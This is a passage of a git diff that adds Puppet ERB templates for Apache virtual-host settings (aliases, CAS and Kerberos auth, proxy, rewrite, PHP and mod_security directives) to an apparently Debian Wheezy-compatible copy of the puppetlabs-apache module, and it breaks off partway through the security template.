b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_action.erb @@ -0,0 +1,4 @@ +<% if @action -%> + + Action <%= @action %> /cgi-bin virtual +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_additional_includes.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_additional_includes.erb new file mode 100644 index 000000000..a07bb8112 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_additional_includes.erb @@ -0,0 +1,9 @@ +<% Array(@additional_includes).each do |include| -%> + + ## Load additional static includes +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 && @use_optional_includes -%> + IncludeOptional "<%= include %>" +<%- else -%> + Include "<%= include %>" +<%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_aliases.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_aliases.erb new file mode 100644 index 000000000..f9771bc72 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_aliases.erb @@ -0,0 +1,16 @@ +<% if @aliases and ! @aliases.empty? -%> + ## Alias declarations for resources outside the DocumentRoot + <%- [@aliases].flatten.compact.each do |alias_statement| -%> + <%- if alias_statement["path"] != '' -%> + <%- if alias_statement["alias"] and alias_statement["alias"] != '' -%> + Alias <%= alias_statement["alias"] %> "<%= alias_statement["path"] %>" + <%- elsif alias_statement["aliasmatch"] and alias_statement["aliasmatch"] != '' -%> + AliasMatch <%= alias_statement["aliasmatch"] %> "<%= alias_statement["path"] %>" + <%- elsif alias_statement["scriptalias"] and alias_statement["scriptalias"] != '' -%> + ScriptAlias <%= alias_statement["scriptalias"] %> "<%= alias_statement["path"] %>" + <%- elsif alias_statement["scriptaliasmatch"] and alias_statement["scriptaliasmatch"] != '' -%> + ScriptAliasMatch <%= alias_statement["scriptaliasmatch"] %> "<%= alias_statement["path"] %>" + <%- end -%> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_allow_encoded_slashes.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_allow_encoded_slashes.erb new file mode 100644 index 000000000..40c73433b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_allow_encoded_slashes.erb @@ -0,0 +1,4 @@ +<%- if @allow_encoded_slashes -%> + + AllowEncodedSlashes <%= @allow_encoded_slashes %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_cas.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_cas.erb new file mode 100644 index 000000000..2f4787b73 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_cas.erb @@ -0,0 +1,65 @@ +<% if @cas_enabled -%> + <%- if @cas_cookie_path -%> + CASCookiePath <%= @cas_cookie_path %> + <%- end -%> + <%- if @cas_login_url -%> + CASLoginURL <%= @cas_login_url %> + <%- end -%> + <%- if @cas_validate_url -%> + CASValidateURL <%= @cas_validate_url %> + <%- end -%> + <%- if @cas_version -%> + CASVersion <%= @cas_version %> + <%- end -%> + <%- if @cas_debug -%> + CASDebug <%= @cas_debug %> + <%- end -%> + <%- if @cas_certificate_path -%> + CASCertificatePath <%= @cas_certificate_path %> + <%- end -%> + <%- if @cas_proxy_validate_url -%> + CASProxyValidateURL <%= @cas_proxy_validate_url %> + <%- end -%> + <%- if @cas_validate_depth -%> + CASValidateDepth <%= @cas_validate_depth %> + <%- end -%> + <%- if @cas_root_proxied_as -%> + CASRootProxiedAs <%= @cas_root_proxied_as %> + <%- end -%> + <%- if @cas_cookie_entropy -%> + CASCookieEntropy <%= @cas_cookie_entropy %> + <%- end -%> + <%- if @cas_timeout -%> + CASTimeout <%= @cas_timeout %> + <%- end -%> + <%- if @cas_idle_timeout -%> + CASIdleTimeout <%= @cas_idle_timeout %> + <%- end -%> + <%- if @cas_cache_clean_interval -%> + CASCacheCleanInterval <%= @cas_cache_clean_interval %> + <%- end -%> + <%- if @cas_cookie_domain -%> + CASCookieDomain <%= @cas_cookie_domain %> + <%- end -%> + <%- if @cas_cookie_http_only -%> + CASCookieHttpOnly <%= @cas_cookie_http_only %> + <%- end -%> + <%- if @cas_authoritative -%> + CASAuthoritative <%= @cas_authoritative %> + <%- end -%> + <%- if @cas_sso_enabled -%> + CASSSOEnabled On + <%- end -%> + <%- if @cas_validate_saml -%> + CASValidateSAML On + <%- end -%> + <%- if @cas_attribute_prefix -%> + CASAttributePrefix <%= @cas_attribute_prefix %> + <%- end -%> + <%- if @cas_attribute_delimiter -%> + CASAttributeDelimiter <%= @cas_attribute_delimiter %> + <%- end -%> + <%- if @cas_scrub_request_headers -%> + CASAttributeDelimiter On + <%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_kerb.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_kerb.erb new file mode 100644 index 000000000..97f4c1fc6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_auth_kerb.erb @@ -0,0 +1,32 @@ +<% if @auth_kerb -%> + + ## Kerberos directives + <%- if @krb_method_negotiate -%> + KrbMethodNegotiate <%= @krb_method_negotiate %> + <%- end -%> + <%- if @krb_method_k5passwd -%> + KrbMethodK5Passwd <%= @krb_method_k5passwd %> + <%- end -%> + <%- if @krb_authoritative -%> + KrbAuthoritative <%= @krb_authoritative %> + <%- end -%> + <%- if @krb_auth_realms and @krb_auth_realms.length >= 1 -%> + KrbAuthRealms <%= @krb_auth_realms.join(' ') %> + <%- end -%> + <%- if @krb_5keytab -%> + Krb5Keytab <%= @krb_5keytab %> + <%- end -%> + <%- if @krb_local_user_mapping -%> + KrbLocalUserMapping <%= @krb_local_user_mapping %> + <%- end -%> + <%- if @krb_verify_kdc -%> + KrbVerifyKDC <%= @krb_verify_kdc %> + <%- end -%> + <%- if @krb_servicename -%> + KrbServiceName <%= @krb_servicename %> + <%- end -%> + <%- if @krb_save_credentials -%> + KrbSaveCredentials <%= @krb_save_credentials -%> + <%- end -%> + +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_block.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_block.erb new file mode 100644 index 000000000..b07f685e4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_block.erb @@ -0,0 +1,14 @@ +<% if @block and ! @block.empty? -%> + + ## Block access statements +<% if @block.include? 'scm' -%> + # Block access to SCM directories. + + <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require all denied + <%- else -%> + Deny From All + <%- end -%> + +<% end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_charsets.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_charsets.erb new file mode 100644 index 000000000..ef83def4b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_charsets.erb @@ -0,0 +1,4 @@ +<% if @add_default_charset -%> + + AddDefaultCharset <%= @add_default_charset %> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_custom_fragment.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_custom_fragment.erb new file mode 100644 index 000000000..35c264adb --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_custom_fragment.erb @@ -0,0 +1,5 @@ +<% if @custom_fragment -%> + + ## Custom fragment + <%= @custom_fragment %> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_directories.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_directories.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_directories.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_directories.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_docroot.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_docroot.erb new file mode 100644 index 000000000..b67998b4b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_docroot.erb @@ -0,0 +1,7 @@ + + ## Vhost docroot +<% if @virtual_docroot -%> + VirtualDocumentRoot "<%= @virtual_docroot %>" +<% elsif @docroot -%> + DocumentRoot "<%= @docroot %>" +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_error_document.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_error_document.erb new file mode 100644 index 000000000..654e72c67 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_error_document.erb @@ -0,0 +1,7 @@ +<% if @error_documents and ! @error_documents.empty? -%> + <%- [@error_documents].flatten.compact.each do |error_document| -%> + <%- if error_document["error_code"] != '' and error_document["document"] != '' -%> + ErrorDocument <%= error_document["error_code"] %> <%= error_document["document"] %> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fallbackresource.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fallbackresource.erb new file mode 100644 index 000000000..f1e4c35dc --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fallbackresource.erb @@ -0,0 +1,4 @@ +<% if @fallbackresource -%> + + FallbackResource <%= @fallbackresource %> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fastcgi.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fastcgi.erb new file mode 100644 index 000000000..b4718391b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_fastcgi.erb @@ -0,0 +1,23 @@ +<% if @fastcgi_server -%> + + FastCgiExternalServer <%= @fastcgi_server %> -socket <%= @fastcgi_socket -%> +<% unless @fastcgi_idle_timeout.nil? %> -idle-timeout <%= @fastcgi_idle_timeout %><% end %> +<% end -%> +<% if @fastcgi_dir -%> + + "> + Options +ExecCGI + AllowOverride All + SetHandler fastcgi-script + <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require all granted + <%- else -%> + Order allow,deny + Allow From All + <%- end -%> + AuthBasicAuthoritative Off + + + AllowEncodedSlashes On + ServerSignature Off +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_footer.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_footer.erb new file mode 100644 index 000000000..84035efa4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_footer.erb @@ -0,0 +1 @@ + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_header.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_header.erb new file mode 100644 index 000000000..4cf7629eb --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_file_header.erb @@ -0,0 +1,12 @@ +# ************************************ +# Vhost template in module puppetlabs-apache +# Managed by Puppet +# ************************************ + +> +<% if @servername and not @servername.empty? -%> + ServerName <%= @servername %> +<% end -%> +<% if @serveradmin -%> + ServerAdmin <%= @serveradmin %> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_filters.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_filters.erb new file mode 100644 index 000000000..b86259734 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_filters.erb @@ -0,0 +1,10 @@ +<% if @filters and ! @filters.empty? -%> + + ## Filter module rules + ## as per http://httpd.apache.org/docs/2.2/mod/mod_filter.html + <%- Array(@filters).each do |filter| -%> + <%- if filter != '' -%> + <%= filter %> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_header.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_header.erb new file mode 100644 index 000000000..c0f68c825 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_header.erb @@ -0,0 +1,10 @@ +<% if @headers and ! @headers.empty? -%> + + ## Header rules + ## as per http://httpd.apache.org/docs/2.2/mod/mod_headers.html#header + <%- Array(@headers).each do |header_statement| -%> + <%- if header_statement != '' -%> + Header <%= header_statement %> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_itk.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_itk.erb new file mode 100644 index 000000000..803a73db7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_itk.erb @@ -0,0 +1,29 @@ +<% if @itk and ! @itk.empty? -%> + + ## ITK statement + + <%- if @itk["user"] and @itk["group"] -%> + AssignUserId <%= @itk["user"] %> <%= @itk["group"] %> + <%- end -%> + <%- if @itk["assignuseridexpr"] -%> + AssignUserIdExpr <%= @itk["assignuseridexpr"] %> + <%- end -%> + <%- if @itk["assigngroupidexpr"] -%> + AssignGroupIdExpr <%= @itk["assigngroupidexpr"] %> + <%- end -%> + <%- if @itk["maxclientvhost"] -%> + MaxClientsVHost <%= @itk["maxclientvhost"] %> + <%- end -%> + <%- if @itk["nice"] -%> + NiceValue <%= @itk["nice"] %> + <%- end -%> + <%- if @kernelversion >= '3.5.0' -%> + <%- if @itk["limituidrange"] -%> + LimitUIDRange <%= @itk["limituidrange"] %> + <%- end -%> + <%- if @itk["limitgidrange"] -%> + LimitGIDRange <%= @itk["limitgidrange"] %> + <%- end -%> + <%- end -%> + +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_jk_mounts.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_jk_mounts.erb new file mode 100644 index 000000000..8cb1d116b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_jk_mounts.erb @@ -0,0 +1,12 @@ +<% if @jk_mounts and not @jk_mounts.empty? -%> + + <%- @jk_mounts.each do |jk| -%> + <%- if jk.is_a?(Hash) -%> + <%- if jk.has_key?('mount') and jk.has_key?('worker') -%> + JkMount <%= jk['mount'] %> <%= jk['worker'] %> + <%- elsif jk.has_key?('unmount') and jk.has_key?('worker') -%> + JkUnMount <%= jk['unmount'] %> <%= jk['worker'] %> + <%- end -%> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_keepalive_options.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_keepalive_options.erb new file mode 100644 index 000000000..d14f5ed15 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_keepalive_options.erb @@ -0,0 +1,9 @@ +<%- if @keepalive -%> + KeepAlive <%= @keepalive %> +<%- end -%> +<%- if @keepalive_timeout -%> + KeepAliveTimeout <%= @keepalive_timeout %> +<%- end -%> +<%- if @max_keepalive_requests -%> + MaxKeepAliveRequests <%= @max_keepalive_requests %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_logging.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_logging.erb new file mode 100644 index 000000000..35a924d29 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_logging.erb @@ -0,0 +1,10 @@ +<% if @error_log or @log_level -%> + + ## Logging +<% end -%> +<% if @error_log -%> + ErrorLog "<%= @error_log_destination %>" +<% end -%> +<% if @log_level -%> + LogLevel <%= @log_level %> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_passenger.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_passenger.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_passenger.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_passenger.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_passenger_base_uris.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_passenger_base_uris.erb new file mode 100644 index 000000000..f3ef5aa0a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_passenger_base_uris.erb @@ -0,0 +1,7 @@ +<% if @passenger_base_uris -%> + + ## Enable passenger base uris +<% Array(@passenger_base_uris).each do |uri| -%> + PassengerBaseURI <%= uri %> +<% end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php.erb new file mode 100644 index 000000000..8032a1ade --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php.erb @@ -0,0 +1,16 @@ +<% if @php_values and not @php_values.empty? -%> + <%- @php_values.sort.each do |key,value| -%> + <%- if value.is_a? String -%> + php_value <%= key %> "<%= value %>" + <%- else -%> + php_value <%= key %> <%= value %> + <%- end -%> + <%- end -%> +<% end -%> +<% if @php_flags and not @php_flags.empty? -%> + <%- @php_flags.sort.each do |key,flag| -%> + <%-# normalize flag -%> + <%- if flag =~ /true|yes|on|1/i then flag = 'on' else flag = 'off' end -%> + php_flag <%= key %> <%= flag %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php_admin.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php_admin.erb new file mode 100644 index 000000000..c0c8dd60a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_php_admin.erb @@ -0,0 +1,12 @@ +<% if @php_admin_values and not @php_admin_values.empty? -%> + <%- @php_admin_values.sort.each do |key,value| -%> + php_admin_value <%= key %> <%= value %> + <%- end -%> +<% end -%> +<% if @php_admin_flags and not @php_admin_flags.empty? -%> + <%- @php_admin_flags.sort.each do |key,flag| -%> + <%-# normalize flag -%> + <%- if flag =~ /true|yes|on|1/i then flag = 'on' else flag = 'off' end -%> + php_admin_flag <%= key %> <%= flag %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_proxy.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_proxy.erb new file mode 100644 index 000000000..79f36cf04 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_proxy.erb @@ -0,0 +1,98 @@ +<% if @proxy_dest or @proxy_pass or @proxy_pass_match or @proxy_dest_match -%> + + ## Proxy rules + ProxyRequests Off +<%- end -%> +<% if @proxy_preserve_host -%> + ProxyPreserveHost On +<% else -%> + ProxyPreserveHost Off +<%- end -%> +<%- if defined?(@proxy_add_headers) -%> + <%- if @proxy_add_headers -%> + ProxyAddHeaders On + <%- else -%> + ProxyAddHeaders Off + <%- end -%> +<%- end -%> +<% if @proxy_error_override -%> + ProxyErrorOverride On +<%- end -%> +<%- [@proxy_pass].flatten.compact.each do |proxy| -%> + <%- Array(proxy['no_proxy_uris']).each do |uri| -%> + ProxyPass <%= uri %> ! + <%- end -%> + <%- Array(proxy['no_proxy_uris_match']).each do |uri| -%> + ProxyPassMatch <%= uri %> ! + <%- end -%> + ProxyPass <%= proxy['path'] %> <%= proxy['url'] -%> + <%- if proxy['params'] -%> + <%- proxy['params'].keys.sort.each do |key| -%> <%= key %>=<%= proxy['params'][key] -%> + <%- end -%> + <%- end -%> + <%- if proxy['keywords'] %> <%= proxy['keywords'].join(' ') -%> + <%- end %> + <%- if not proxy['reverse_cookies'].nil? -%> + <%- Array(proxy['reverse_cookies']).each do |reverse_cookies| -%> + <%- if reverse_cookies['path'] -%> + ProxyPassReverseCookiePath <%= reverse_cookies['path'] %> <%= reverse_cookies['url'] %> + <%- end -%> + <%- if reverse_cookies['domain'] -%> + ProxyPassReverseCookieDomain <%= reverse_cookies['domain'] %> <%= reverse_cookies['url'] %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if proxy['reverse_urls'].nil? -%> + ProxyPassReverse <%= proxy['path'] %> <%= proxy['url'] %> + <%- else -%> + <%- Array(proxy['reverse_urls']).each do |reverse_url| -%> + ProxyPassReverse <%= proxy['path'] %> <%= reverse_url %> + <%- end -%> + <%- end -%> + <%- if proxy['setenv'] -%> + <%- Array(proxy['setenv']).each do |setenv_var| -%> + SetEnv <%= setenv_var %> + <%- end -%> + <%- end -%> +<% end -%> +<% [@proxy_pass_match].flatten.compact.each do |proxy| %> + <%- Array(proxy['no_proxy_uris']).each do |uri| -%> + ProxyPass <%= uri %> ! + <%- end -%> + <%- Array(proxy['no_proxy_uris_match']).each do |uri| -%> + ProxyPassMatch <%= uri %> ! + <%- end -%> + ProxyPassMatch <%= proxy['path'] %> <%= proxy['url'] -%> + <%- if proxy['params'] -%> + <%- proxy['params'].keys.sort.each do |key| -%> <%= key %>=<%= proxy['params'][key] -%> + <%- end -%> + <%- end -%> + <%- if proxy['keywords'] %> <%= proxy['keywords'].join(' ') -%> + <%- end %> + <%- if proxy['reverse_urls'].nil? -%> + ProxyPassReverse <%= proxy['path'] %> <%= proxy['url'] %> + <%- else -%> + <%- Array(proxy['reverse_urls']).each do |reverse_url| -%> + ProxyPassReverse <%= proxy['path'] %> <%= reverse_url %> + <%- end -%> + <%- end -%> + <%- if proxy['setenv'] -%> + <%- Array(proxy['setenv']).each do |setenv_var| -%> + SetEnv <%= setenv_var %> + <%- end -%> + <%- end -%> +<% end -%> +<% if @proxy_dest -%> +<%- Array(@no_proxy_uris).each do |uri| -%> + ProxyPass <%= uri %> ! +<% end -%> + ProxyPass / <%= @proxy_dest %>/ + ProxyPassReverse / <%= @proxy_dest %>/ +<% end -%> +<% if @proxy_dest_match -%> +<%- Array(@no_proxy_uris_match).each do |uri| -%> + ProxyPassMatch <%= uri %> ! +<% end -%> + ProxyPassMatch / <%= @proxy_dest_match %>/ + ProxyPassReverse / <%= @proxy_dest_reverse_match %>/ +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rack.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rack.erb new file mode 100644 index 000000000..4a5b5f1cd --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rack.erb @@ -0,0 +1,7 @@ +<% if @rack_base_uris -%> + + ## Enable rack +<% Array(@rack_base_uris).each do |uri| -%> + RackBaseURI <%= uri %> +<% end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_redirect.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_redirect.erb new file mode 100644 index 000000000..209da646c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_redirect.erb @@ -0,0 +1,35 @@ +<% if @redirect_source and @redirect_dest -%> +<% @redirect_dest_a = Array(@redirect_dest) -%> +<% @redirect_source_a = Array(@redirect_source) -%> +<% @redirect_status_a = Array(@redirect_status) -%> + + ## Redirect rules + <%- @redirect_source_a.each_with_index do |source, i| -%> +<% @redirect_dest_a[i] ||= @redirect_dest_a[0] -%> +<% @redirect_status_a[i] ||= @redirect_status_a[0] -%> + Redirect <%= "#{@redirect_status_a[i]} " %><%= source %> <%= @redirect_dest_a[i] %> + <%- end -%> +<% end -%> +<%- if @redirectmatch_status and @redirectmatch_regexp and @redirectmatch_dest -%> +<% @redirectmatch_status_a = Array(@redirectmatch_status) -%> +<% @redirectmatch_regexp_a = Array(@redirectmatch_regexp) -%> +<% @redirectmatch_dest_a = Array(@redirectmatch_dest) -%> + + ## RedirectMatch rules + <%- @redirectmatch_status_a.each_with_index do |status, i| -%> +<% @redirectmatch_status_a[i] ||= @redirectmatch_status_a[0] -%> +<% @redirectmatch_regexp_a[i] ||= @redirectmatch_regexp_a[0] -%> +<% @redirectmatch_dest_a[i] ||= @redirectmatch_dest_a[0] -%> + RedirectMatch <%= "#{@redirectmatch_status_a[i]} " %> <%= @redirectmatch_regexp_a[i] %> <%= @redirectmatch_dest_a[i] %> + <%- end -%> +<%- elsif @redirectmatch_regexp and @redirectmatch_dest -%> +<% @redirectmatch_regexp_a = Array(@redirectmatch_regexp) -%> +<% @redirectmatch_dest_a = Array(@redirectmatch_dest) -%> + + ## RedirectMatch rules + <%- @redirectmatch_regexp_a.each_with_index do |status, i| -%> +<% @redirectmatch_regexp_a[i] ||= @redirectmatch_regexp_a[0] -%> +<% @redirectmatch_dest_a[i] ||= @redirectmatch_dest_a[0] -%> + RedirectMatch <%= @redirectmatch_regexp_a[i] %> <%= @redirectmatch_dest_a[i] %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_requestheader.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_requestheader.erb new file mode 100644 index 000000000..9f175052b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_requestheader.erb @@ -0,0 +1,10 @@ +<% if @request_headers and ! @request_headers.empty? -%> + + ## Request header rules + ## as per http://httpd.apache.org/docs/2.2/mod/mod_headers.html#requestheader + <%- Array(@request_headers).each do |request_statement| -%> + <%- if request_statement != '' -%> + RequestHeader <%= request_statement %> + <%- end -%> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_require.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_require.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_require.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_require.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rewrite.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rewrite.erb new file mode 100644 index 000000000..282733757 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_rewrite.erb @@ -0,0 +1,53 @@ +<%- if @rewrites -%> + ## Rewrite rules + RewriteEngine On + <%- if @rewrite_inherit -%> + RewriteOptions Inherit + <%- end -%> + <%- if @rewrite_base -%> + RewriteBase <%= @rewrite_base %> + <%- end -%> + + <%- [@rewrites].flatten.compact.each do |rewrite_details| -%> + <%- if rewrite_details['comment'] -%> + #<%= rewrite_details['comment'] %> + <%- end -%> + <%- if rewrite_details['rewrite_base'] -%> + RewriteBase <%= rewrite_details['rewrite_base'] %> + <%- end -%> + <%- if rewrite_details['rewrite_cond'] -%> + <%- Array(rewrite_details['rewrite_cond']).each do |commands| -%> + <%- Array(commands).each do |command| -%> + RewriteCond <%= command %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if rewrite_details['rewrite_map'] -%> + <%- Array(rewrite_details['rewrite_map']).each do |commands| -%> + <%- Array(commands).each do |command| -%> + RewriteMap <%= command %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- Array(rewrite_details['rewrite_rule']).each do |commands| -%> + <%- Array(commands).each do |command| -%> + RewriteRule <%= command %> + <%- end -%> + + <%- end -%> + <%- end -%> +<%- end -%> +<%# reverse compatibility -%> +<% if @rewrite_rule and !@rewrites -%> + ## Rewrite rules + RewriteEngine On + <%- if @rewrite_base -%> + RewriteBase <%= @rewrite_base %> + <%- end -%> + <%- if @rewrite_cond -%> + <%- Array(@rewrite_cond).each do |cond| -%> + RewriteCond <%= cond %> + <%- end -%> + <%- end -%> + RewriteRule <%= @rewrite_rule %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_scriptalias.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_scriptalias.erb new file mode 100644 index 000000000..bb4f6b316 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_scriptalias.erb @@ -0,0 +1,24 @@ +<%- if @scriptaliases.is_a?(Array) -%> +<%- aliases = @scriptaliases -%> +<%- elsif @scriptaliases.is_a?(Hash) -%> +<%- aliases = [@scriptaliases] -%> +<%- else -%> +<%- # Nothing to do with any other data type -%> +<%- aliases = [] -%> +<%- end -%> +<%- if @scriptalias or !aliases.empty? -%> + ## Script alias directives +<%# Combine scriptalais and scriptaliases into a single data structure -%> +<%# for backward compatibility and ease of implementation -%> +<%- aliases << { 'alias' => '/cgi-bin', 'path' => @scriptalias } if @scriptalias -%> +<%- aliases.flatten.compact! -%> +<%- aliases.each do |salias| -%> + <%- if salias["path"] != '' -%> + <%- if salias["alias"] and salias["alias"] != '' -%> + ScriptAlias <%= salias['alias'] %> "<%= salias['path'] %>" + <%- elsif salias["aliasmatch"] and salias["aliasmatch"] != '' -%> + ScriptAliasMatch <%= salias['aliasmatch'] %> "<%= salias['path'] %>" + <%- end -%> + <%- end -%> +<%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_security.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_security.erb new file mode 100644 index 000000000..dc35c78af --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_security.erb @@ -0,0 +1,43 @@ + +<% if @modsec_disable_vhost -%> + SecRuleEngine Off +<% end -%> +<% if @modsec_audit_log_destination -%> + SecAuditLog "<%= @modsec_audit_log_destination %>" +<% end -%> +<% if @_modsec_disable_ids.is_a?(Hash) -%> +<% @_modsec_disable_ids.each do |location,rules| -%> + > +<% Array(rules).each do |rule| 